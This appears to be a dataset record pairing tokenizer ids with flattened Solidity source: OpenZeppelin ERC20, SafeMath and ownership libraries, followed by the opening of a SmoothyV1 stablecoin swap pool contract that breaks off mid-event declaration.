[ 101, 1014, 2595, 2683, 26187, 3540, 22610, 2581, 10790, 21084, 2581, 2575, 2497, 21472, 8889, 26976, 2475, 2050, 2475, 15878, 2063, 17134, 22275, 26187, 2620, 15136, 2620, 2509, 2050, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,196
0x965cc658158a7689fbb6c4df735aa435c500c29b
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: openzeppelin-solidity/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: openzeppelin-solidity/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: openzeppelin-solidity/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: openzeppelin-solidity/contracts/math/Math.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: contracts/ReentrancyGuardPausable.sol pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Reuse openzeppelin's ReentrancyGuard with Pausable feature */ contract ReentrancyGuardPausable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED_OR_PAUSED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrantAndUnpaused() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED_OR_PAUSED, "ReentrancyGuard: reentrant call or paused"); // Any calls to nonReentrant after this point will fail _status = _ENTERED_OR_PAUSED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } function _pause() internal { _status = _ENTERED_OR_PAUSED; } function _unpause() internal { _status = _NOT_ENTERED; } } // File: contracts/YERC20.sol pragma solidity ^0.6.0; /* TODO: Actually methods are public instead of external */ interface YERC20 is IERC20 { function getPricePerFullShare() external view returns (uint256); function deposit(uint256 _amount) external; function withdraw(uint256 _shares) external; } // File: contracts/UpgradeableOwnable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract UpgradeableOwnable { bytes32 private constant _OWNER_SLOT = 0xa7b53796fd2d99cb1f5ae019b54f9e024446c3d12b483f733ccc62ed04eb126a; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { assert(_OWNER_SLOT == bytes32(uint256(keccak256("eip1967.proxy.owner")) - 1)); _setOwner(msg.sender); emit OwnershipTransferred(address(0), msg.sender); } function _setOwner(address newOwner) private { bytes32 slot = _OWNER_SLOT; // solium-disable-next-line security/no-inline-assembly assembly { sstore(slot, newOwner) } } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address o) { bytes32 slot = _OWNER_SLOT; // solium-disable-next-line security/no-inline-assembly assembly { o := sload(slot) } } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner(), address(0)); _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner(), newOwner); _setOwner(newOwner); } } // File: contracts/SmoothyV1.sol pragma solidity ^0.6.0; contract SmoothyV1 is ReentrancyGuardPausable, ERC20, UpgradeableOwnable { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 constant W_ONE = 1e18; uint256 constant U256_1 = 1; uint256 constant SWAP_FEE_MAX = 5e17; uint256 constant REDEEM_FEE_MAX = 5e17; uint256 constant ADMIN_FEE_PCT_MAX = 5e17; /** @dev Fee collector of the contract */ address public _rewardCollector; // Using mapping instead of array to save gas mapping(uint256 => uint256) public _tokenInfos; mapping(uint256 => address) public _yTokenAddresses; // Best estimate of token balance in y pool. // Save the gas cost of calling yToken to evaluate balanceInToken. mapping(uint256 => uint256) public _yBalances; mapping(address => uint256) public _tokenExist; /* * _totalBalance is expected to >= sum(_getBalance()'s), where the diff is the admin fee * collected by _collectReward(). */ uint256 public _totalBalance; uint256 public _swapFee = 4e14; // 1E18 means 100% uint256 public _redeemFee = 0; // 1E18 means 100% uint256 public _adminFeePct = 0; // % of swap/redeem fee to admin uint256 public _adminInterestPct = 0; // % of interest to admins uint256 public _ntokens; uint256 constant YENABLE_OFF = 40; uint256 constant DECM_OFF = 41; uint256 constant TID_OFF = 46; event Swap( address indexed buyer, uint256 bTokenIdIn, uint256 bTokenIdOut, uint256 inAmount, uint256 